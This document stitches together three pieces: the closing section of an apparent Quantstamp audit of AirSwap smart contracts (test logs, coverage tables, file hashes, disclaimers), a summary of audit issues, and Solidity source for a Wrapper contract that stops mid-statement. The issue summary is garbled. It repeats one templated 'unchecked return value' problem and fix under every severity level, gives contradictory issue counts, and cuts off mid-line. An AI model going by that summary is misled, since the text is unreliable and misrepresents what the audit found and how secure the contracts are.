74.9184 WETH) ✓ Gets a quote to sell 100K (Max) DAI for WETH (Quote: 320 WETH) ✓ Gets a quote to sell 1 WETH for DAI (Quote: 312.5 DAI) ✓ Gets a quote to sell 500 DAI for WETH (False: No rule) ✓ Gets a max quote to buy WETH for DAI ✓ Gets a max quote for a non-existent rule (100ms) ✓ Gets a quote to buy WETH for 250000 DAI (False: Exceeds Max) ✓ Gets a quote to buy 500 WETH for DAI (False: Exceeds Max) Test tradeWallet logic ✓ should not trade for a different wallet (72ms) ✓ should not accept open trades (65ms) ✓ should not trade if the tradeWallet hasn't authorized the delegate to send (290ms) ✓ should not trade if the tradeWallet's authorization has been revoked (327ms) ✓ should trade if the tradeWallet has authorized the delegate to send (601ms) Provide some orders to the Delegate ✓ Use quote with non-existent rule (90ms) ✓ Send order without signature to the delegate (107ms) ✓ Use quote larger than delegate rule (117ms) ✓ Use incorrect price on delegate (78ms) ✓ Use quote with incorrect signer token kind (80ms) ✓ Use quote with incorrect sender token kind (93ms) ✓ Gets a quote to sell 1 WETH and takes it, swap fails (275ms) ✓ Gets a quote to sell 1 WETH and takes it, swap passes (463ms) ✓ Gets a quote to sell 1 WETH where sender != signer, passes (475ms) ✓ Queries signerSideQuote and passes the value into an order (567ms) ✓ Queries senderSideQuote and passes the value into an order (507ms) ✓ Queries getMaxQuote and passes the value into an order (613ms) 98 passing (22s) lerna info run Ran npm script 'test' in '@airswap/debugger' in 12.3s: $ mocha test --timeout 3000 --exit Orders ✓ Check correct order without signature (1281ms) ✓ Check correct order with signature (991ms) ✓ Check expired order (902ms) ✓ Check invalid signature (816ms) ✓ Check order without allowance (1070ms) ✓ Check NFT order without balance or allowance (1080ms) ✓ Check invalid token kind (654ms) ✓ Check NFT order without allowance (1045ms) ✓ Check NFT order to an invalid contract (1196ms) ✓ Check NFT order to a valid contract (1225ms)✓ Check order without balance (839ms) 11 passing (11s) lerna info run Ran npm script 'test' in '@airswap/pre-swap-checker' in 11.6s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: PreSwapChecker Deploying... ✓ Deployed Swap contract (217ms) ✓ Deployed SwapChecker contract ✓ Deployed test contract "AST" (56ms) ✓ Deployed test contract "DAI" (40ms) Minting... ✓ Mints 1000 AST for Alice (76ms) ✓ Mints 1000 DAI for Bob (78ms) Approving... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 500 DAI) (186ms) Swaps (Fungible) ✓ Checks fillable order is empty error array (517ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (296ms) ✓ Checks error messages for invalid balances and approvals (236ms) ✓ Checks filled order emits error (641ms) ✓ Checks expired, low nonced, and invalid sig order emits error (315ms) ✓ Alice authorizes Carol to make orders on her behalf (38ms) ✓ Check from a different approved signer and empty sender address (271ms) Deploying non-fungible token... ✓ Deployed test contract "Collectible" (49ms) Minting and testing non-fungible token... ✓ Mints a kitty collectible (#54321) for Bob (55ms) ✓ Alice tries to buys non-owned Kitty #54320 from Bob for 50 AST causes revert (97ms) ✓ Alice tries to buys non-approved Kitty #54321 from Bob for 50 AST (192ms) 18 passing (4s) lerna info run Ran npm script 'test' in '@airswap/wrapper' in 22.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: Wrapper Unit Tests Test initial values ✓ Test initial Swap Contract ✓ Test initial Weth Contract ✓ Test fallback function revert Test swap() ✓ Test when sender token != weth, ensure no unexpected ether sent (78ms) ✓ Test when sender token == weth, ensure the sender amount matches sent ether (119ms) ✓ Test when sender token == weth, signer token == weth, and the transaction passes (362ms) ✓ Test when sender token == weth, signer token != weth, and the transaction passes (243ms) ✓ Test when sender token == weth, signer token != weth, and the wrapper token transfer fails (122ms) Test swap() with two ERC20s ✓ Test when sender token == non weth erc20, signer token == non weth erc20 but msg.sender is not senderwallet (55ms) ✓ Test when sender token == non weth erc20, signer token == non weth erc20, and the transaction passes (172ms) Test provideDelegateOrder() ✓ Test when signer token != weth, but unexpected ether sent (84ms) ✓ Test when signer token == weth, but no ether is sent (101ms) ✓ Test when signer token == weth, but no signature is sent (54ms) ✓ Test when signer token == weth, but incorrect amount of ether sent (63ms) ✓ Test when signer token == weth, correct eth sent, tx passes (247ms) ✓ Test when signer token != weth, sender token == weth, wrapper cant transfer eth (506ms) ✓ Test when signer token != weth, sender token == weth, tx passes (291ms) Contract: Wrapper Setup ✓ Mints 1000 DAI for Alice (49ms) ✓ Mints 1000 AST for Bob (57ms) Approving... ✓ Alice approves Swap to spend 1000 DAI (40ms) ✓ Bob approves Swap to spend 1000 AST ✓ Bob approves Swap to spend 1000 WETH ✓ Bob authorizes the Wrapper to send orders on his behalf Test swap(): Wrap Buys ✓ Checks that Bob take a WETH order from Alice using ETH (513ms) Test swap(): Unwrap Sells ✓ Carol gets some WETH and approves on the Swap contract (64ms) ✓ Alice authorizes the Wrapper to send orders on her behalf ✓ Alice approves the Wrapper contract to move her WETH ✓ Checks that Alice receives ETH for a WETH order from Carol (460ms) Test swap(): Sending ether and WETH to the WrapperContract without swap issues ✓ Sending ether to the Wrapper Contract ✓ Sending WETH to the Wrapper Contract (70ms) ✓ Alice approves Swap to spend 1000 DAI ✓ Send order where the sender does not send the correct amount of ETH (69ms) ✓ Send order where Bob sends Eth to Alice for DAI (422ms)✓ Reverts if the unwrapped ETH is sent to a non-payable contract (1117ms) Test swap(): Sending nonWETH ERC20 ✓ Alice approves Swap to spend 1000 DAI (38ms) ✓ Bob approves Swap to spend 1000 AST ✓ Send order where Bob sends AST to Alice for DAI (447ms) ✓ Send order where the sender is not the sender of the order (100ms) ✓ Send order without WETH where ETH is incorrectly supplied (70ms) ✓ Send order where Bob sends AST to Alice for DAI w/ authorization but without signature (48ms) Test provideDelegateOrder() Wrap Buys ✓ Check Carol sending no ETH with order (66ms) ✓ Check Carol not signing order (46ms) ✓ Check Carol sets the wrong sender wallet (217ms) ✓ Check delegate owner hasnt authorised the delegate as sender swap (390ms) ✓ Check Carol hasnt given swap approval to swap WETH (906ms) ✓ Check successful ETH wrap and swap through delegate contract (575ms) Unwrap Sells ✓ Check Carol sending ETH when she shouldnt (64ms) ✓ Check Carol not signing the order (42ms) ✓ Check Carol hasnt given swap approval to swap DAI (1043ms) ✓ Check Carol doesnt approve wrapper to transfer weth (951ms) ✓ Check successful ETH wrap and swap through delegate contract (646ms) 51 passing (15s) lerna success run Ran npm script 'test' in 9 packages in 155.7s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/debugger lerna success - @airswap/order-utils lerna success - @airswap/pre-swap-checker ✨ Done in 222.01s. Code CoverageFile % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Delegate.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegate.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 DelegateFactory.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegateFactory.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Index.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Indexer.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IIndexer.sol 100 100 100 100 ILocatorWhitelist.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Swap.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Types.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Wrapper.sol 100 100 100 100 All files 100 100 100 100 Appendix File Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after thesecurity review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/indexer/contracts/Migrations.sol 853f79563b2b4fba199307619ff5db6b86ceae675eb259292f752f3126c21236 ./source/indexer/contracts/Imports.sol b7d114e1b96633016867229abb1d8298c12928bd6e6935d1969a3e25133d0ae3 ./source/indexer/contracts/Indexer.sol cb278eb599018f2bcff3e7eba06074161f3f98072dc1f11446da6222111e6fb6 ./source/indexer/contracts/interfaces/IIndexer.sol ae69440b7cc0ebde7d315079effaaf6db840a5c36719e64134d012f183a82b3c ./source/indexer/contracts/interfaces/ILocatorWhitelist.sol 0ce96202a3788403e815bcd033a7c2528d2eceb9e6d0d21f58fd532e0721c3f3 ./source/tokens/contracts/WETH9.sol f49af1f0a94dc5d58725b7715ff4a1f241626629aa68c442dd51c540f3b40ee7 ./source/tokens/contracts/NonFungibleToken.sol 13e6724efe593830fdd839337c2735a9bfbd6c72fc6134d9622b1f38da734fed ./source/tokens/contracts/IERC721Receiver.sol b0baff5c036f01ac95dae20048f6ee4716796b293f066d603a2934bee8aa049f ./source/tokens/contracts/OrderTest721.sol 27ffdcc5bfb7e1352c69f56869a43db1b1d76ee9856fbfd817d6a3be3d378a89 ./source/tokens/contracts/FungibleToken.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/tokens/contracts/Migrations.sol a41dd3eaddff2d0ce61f9d0d2d774f57bf286ba7534fe7392cb331c52587f007 ./source/tokens/contracts/AdaptedERC721.sol a497e0e9c84e431234f8ef23e5a3bb72e0a8d8e5381909cc9f274c6f8f0f8693 ./source/tokens/contracts/KittyCore.sol afc8395fc3e20eb17d99ae53f63cae764250f5dda6144b0695c9eb3c29065daa ./source/tokens/contracts/OMGToken.sol f07b61827716f0e44db91baabe9638eef66e85fb2d720e1b221ee03797eb0c16 ./source/tokens/contracts/interfaces/IWETH.sol 2f4455987f24caf5d69bd9a3c469b05350ec5b0cc62cc829109cfa07a9ed184c ./source/tokens/contracts/interfaces/INRERC20.sol 4deea5147ee8eedbeaf394454e63a32bce34003266358abb7637843eec913109 ./source/index/contracts/Index.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/index/contracts/Migrations.sol 8304b9b7777834e7dd882ecef91c8376160da6a6dd6e4c7c9f9b99bb8a0ddb08 ./source/index/contracts/Imports.sol 93dbd794dd6bbc93c47a11dc734efb6690495a1d5138036ebee8687edeb25dc6 ./source/delegate- factory/contracts/DelegateFactory.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/delegate- factory/contracts/Migrations.sol d4641deca8ebf06d554ef39b9fe90f2db23f40be7557d8bbc5826428ba9b0d0a ./source/delegate-factory/contracts/Imports.sol 6371ccf87ef8e8cddfceab2903a109714ab5bcaaa72e7096bff9b8f0a7c643a9 ./source/delegate- factory/contracts/interfaces/IDelegateFactory.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/delegate/contracts/Migrations.sol 0843c702ea883afa38e874a9d16cb4830c3c8e6dadf324ddbe0f397dd5f67aeb ./source/delegate/contracts/Imports.sol cbe7e7fa0e85995f86dde9f103897ac533a42c78ee017a49d29075adf5152be4 ./source/delegate/contracts/Delegate.sol 4ea8cec0ad9ff88426e7687384f5240d4444ee48407ddd07e39ab527ba70d94e ./source/delegate/contracts/interfaces/IDelegate.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/swap/contracts/Migrations.sol 3d764b8d0ebb2aa5c765f0eb0ef111564af96813fd6427c39d8a11c4251cbba2 ./source/swap/contracts/Imports.sol 001573b0de147db510c6df653935505d7f0c3e24d0d5028ebfdffa06055b9508 ./source/swap/contracts/Swap.sol b2693adaefd67dfcefd6e942aee9672469d0635f8c6b96183b57667e82f9be73 ./source/swap/contracts/interfaces/ISwap.sol 3d9797822cc119ac07cfb02705033d982d429ad46b0d39a0cfa4f7df1d9bfdd6 ./source/wrapper/contracts/HelperMock.sol a0a4226ee86de0f2f163d9ca14e9486b9a9a82137e4e97495564cd37e92c8265 ./source/wrapper/contracts/Migrations.sol 853712933537f67add61f1299d0b763664116f3f36ae87f55743104fbc77861a ./source/wrapper/contracts/Imports.sol 67fc8542fb154458c3a6e4e07c3eb636f65ebb2074082ab24727da09b7684feb ./source/wrapper/contracts/Wrapper.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/types/contracts/Migrations.sol 74947f792f6128dad955558044e7a2d13ecda4f6887cb85d9bf12f4e01423e6e ./source/types/contracts/Imports.sol 95f41e78212c566ea22441a6e534feae44b7505f65eea89bf67dc7a73910821e ./source/types/contracts/Types.sol fe4fc1137e2979f1af89f69b459244261b471b5fdbd9bdbac74382c14e8de4db ./source/types/test/MockTypes.sol Tests 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/indexer/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914./source/indexer/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/indexer/coverage/lcov-report/sorter.js 9b9b6feb6ad0bf0d1c9ca2e89717499152d278ff803795ab25b975826ce3e6fb ./source/indexer/test/Indexer-unit.js b8afaf2ac9876ada39483c662e3017288e78641d475c3aad8baae3e42f2692b1 ./source/indexer/test/Indexer.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/tokens/truffle-config.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/index/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/lcov-report/sorter.js 5b30ebaf2cb02fdb583a91b8d80e0d3332f613f1f9d03227fa1f497182612d79 ./source/index/test/Index-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate-factory/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/lcov- report/sorter.js e1e96cac95b7ca35a3eff407e69378395fee64fbd40bc46731e02cab3386f1a9 ./source/delegate-factory/test/Delegate- Factory-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/lcov- report/sorter.js 0d39c455ec8b473be0aa20b21fff3324e87fe688281cc29ce446992682766197 ./source/delegate/test/Delegate.js 6568ea0ed57b6cfb6e9671ae07e9721e80b9a74f4af2a1f31a730df45eed7bc4 ./source/delegate/test/Delegate-unit.js 67a94a4b8a64b862eac78c2be9a76fdfb57412113b0e98342cf9be743c065045 ./source/swap/.solcover.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/swap/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/lcov-report/sorter.js eb606ca3e7fe215a183e67c73af188a3a463a73a2571896403890bd6308b9553 ./source/swap/test/Swap.js 02ed0eee9b5fd1bdb2e29ef7c76902b8c7788d56cccb08ba0a1c62acdb0c240d ./source/swap/test/Swap-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/wrapper/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/lcov-report/sorter.js 8e8dcdef012cdc8bf9dc2758afcb654ce3ec55a4522ebab9d80455813c1c2234 ./source/wrapper/test/Wrapper.js fb48b5abc2cc9cfd07767e93c37130ff412088741f0685deb74c65b1b596daf9 ./source/wrapper/test/Wrapper-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/types/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/lcov-report/sorter.js 94e6cf001c8edb49546d881416a1755aabe0a01f562df4140be166c3af2936fc ./source/types/test/Types-unit.js About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure smart contracts at scale using computer-aided reasoning tools, with a mission to help boost adoption of this exponentially growing technology. Quantstamp’s team boasts decades of combined experience in formal verification, static analysis, and software verification. Collectively, our individuals have over 500 Google scholar citations and numerous published papers. In its mission to proliferate development and adoption of blockchain applications, Quantstamp is also developing a new protocol for smart contract verification to help smart contract developers and projects worldwide to perform cost-effective smart contract security audits . To date, Quantstamp has helped to secure hundreds of millions of dollars of transaction value in smart contracts and has assisted dozens of blockchain projects globally with its white glove security auditing services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Finally, Quantstamp’s dedication to research and development in the form of collaborations with leading academic institutions such as National University of Singapore and MIT (Massachusetts Institute of Technology) reflects Quantstamp’s commitment to enable world-class smart contract innovation. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third- party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The Solidity language itself and other smart contract languages remain under development and are subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond Solidity or the smart contract programming language, or other programming aspects that could present security risks. You may risk loss of tokens, Ether, and/or other loss. A report is not an endorsement (or other opinion) of any particular project or team, and the report does not guarantee the security of any particular project. A report does not consider, and should not be interpreted as considering or having any bearing on, the potential economics of a token, token sale or any other product, service or other asset. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell any token, product, service or other asset. To the fullest extent permitted by law, we disclaim all warranties, express or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked website, or any website or mobile application featured in any banner or other advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. You may risk loss of QSP tokens or other loss. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. AirSwap Audit
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 2.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Moderate 3.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 3.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Major 4.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 4.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Critical 5.a Problem (one line with code reference) - Unchecked return value in Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: • Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. • Integer arithmetic may cause incorrect pricing logic. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed as of the latest commit.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@airswap/swap/contracts/interfaces/ISwap.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "./interfaces/IWETH.sol"; /** * @title Swap: Simple atomic swap * @notice https://www.airswap.io/ */ contract Wrapper is Ownable { using SafeERC20 for IERC20; event WrappedSwapFor(address senderWallet); ISwap public swapContract; IWETH public wethContract; uint256 constant MAX_UINT = 2**256 - 1; /** * @notice Constructor * @param _swapContract address * @param _wethContract address */ constructor(address _swapContract, address _wethContract) { require(_swapContract != address(0), "INVALID_CONTRACT"); require(_wethContract != address(0), "INVALID_WETH_CONTRACT"); swapContract = ISwap(_swapContract); wethContract = IWETH(_wethContract); wethContract.approve(_swapContract, MAX_UINT); } /** * @notice Set the swap contract * @param _swapContract address Address of the new swap contract */ function setSwapContract(address _swapContract) external onlyOwner { require(_swapContract != address(0), "INVALID_CONTRACT"); wethContract.approve(address(swapContract), 0); swapContract = ISwap(_swapContract); wethContract.approve(_swapContract, MAX_UINT); } /** * @notice Required when withdrawing from WETH * @dev During unwraps, WETH.withdraw transfers ether to msg.sender (this contract) */ receive() external payable { // Ensure the message sender is the WETH contract. if (msg.sender != address(wethContract)) { revert("DO_NOT_SEND_ETHER"); } } /** * @notice Wrapped Swap * @param nonce uint256 Unique and should be sequential * @param expiry uint256 Expiry in seconds since 1 January 1970 * @param signerWallet address Wallet of the signer * @param signerToken address ERC20 token transferred from the signer * @param signerAmount uint256 Amount transferred from the signer * @param senderToken address ERC20 token transferred from the sender * @param senderAmount uint256 Amount transferred from the sender * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function swap( uint256 nonce, uint256 expiry, address signerWallet, address signerToken, uint256 signerAmount, address senderToken, uint256 senderAmount, uint8 v, bytes32 r, bytes32 s ) public payable { _wrapEther(senderToken, senderAmount); swapContract.swap( address(this), nonce, expiry, signerWallet, signerToken, signerAmount, senderToken, senderAmount, v, r, s ); _unwrapEther(signerToken, signerAmount); emit WrappedSwapFor(msg.sender); } /** * @notice Wrapped BuyNFT * @param nonce uint256 Unique and should be sequential * @param expiry uint256 Expiry in seconds since 1 January 1970 * @param signerWallet address Wallet of the signer * @param signerToken address ERC721 token transferred from the signer * @param signerID uint256 Token ID transferred from the signer * @param senderToken address ERC20 token transferred from the sender * @param senderAmount uint256 Amount transferred from the sender * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function buyNFT( uint256 nonce, uint256 expiry, address signerWallet, address signerToken, uint256 signerID, address senderToken, uint256 senderAmount, uint8 v, bytes32 r, bytes32 s ) public payable { uint256 protocolFee = swapContract.calculateProtocolFee( msg.sender, senderAmount ); _wrapEther(senderToken, senderAmount + protocolFee); swapContract.buyNFT( nonce, expiry, signerWallet, signerToken, signerID, senderToken, senderAmount, v, r, s ); IERC721(signerToken).transferFrom(address(this), msg.sender, signerID); emit WrappedSwapFor(msg.sender); } /** * @notice Wrapped SellNFT * @param nonce uint256 Unique and should be sequential * @param expiry uint256 Expiry in seconds since 1 January 1970 * @param signerWallet address Wallet of the signer * @param signerToken address ERC721 token transferred from the signer * @param signerAmount uint256 Token ID transferred from the signer * @param senderToken address ERC20 token transferred from the sender * @param senderID uint256 Amount transferred from the sender * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function sellNFT( uint256 nonce, uint256 expiry, address signerWallet, address signerToken, uint256 signerAmount, address senderToken, uint256 senderID, uint8 v, bytes32 r, bytes32 s ) public payable { require(msg.value == 0, "VALUE_MUST_BE_ZERO"); IERC721(senderToken).setApprovalForAll(address(swapContract), true); IERC721(senderToken).transferFrom(msg.sender, address(this), senderID); swapContract.sellNFT( nonce, expiry, signerWallet, signerToken, signerAmount, senderToken, senderID, v, r, s ); _unwrapEther(signerToken, signerAmount); emit WrappedSwapFor(msg.sender); } /** * @notice Wrap Ether into WETH * @param senderAmount uint256 Amount transferred from the sender */ function _wrapEther(address senderToken, uint256 senderAmount) internal { if (senderToken == address(wethContract)) { // Ensure message value is param require(senderAmount == msg.value, "VALUE_MUST_BE_SENT"); // Wrap (deposit) the ether wethContract.deposit{value: msg.value}(); } else { // Ensure message value is zero require(msg.value == 0, "VALUE_MUST_BE_ZERO"); // Approve the swap contract to swap the amount IERC20(senderToken).safeApprove(address(swapContract), senderAmount); // Transfer tokens from sender to wrapper for swap IERC20(senderToken).safeTransferFrom( msg.sender, address(this), senderAmount ); } } /** * @notice Unwrap WETH into Ether * @param signerToken address Token of the signer * @param signerAmount uint256 Amount transferred from the signer */ function _unwrapEther(address signerToken, uint256 signerAmount) internal { if (signerToken == address(wethContract)) { // Unwrap (withdraw) the ether wethContract.withdraw(signerAmount); // Transfer ether to the recipient (bool success, ) = 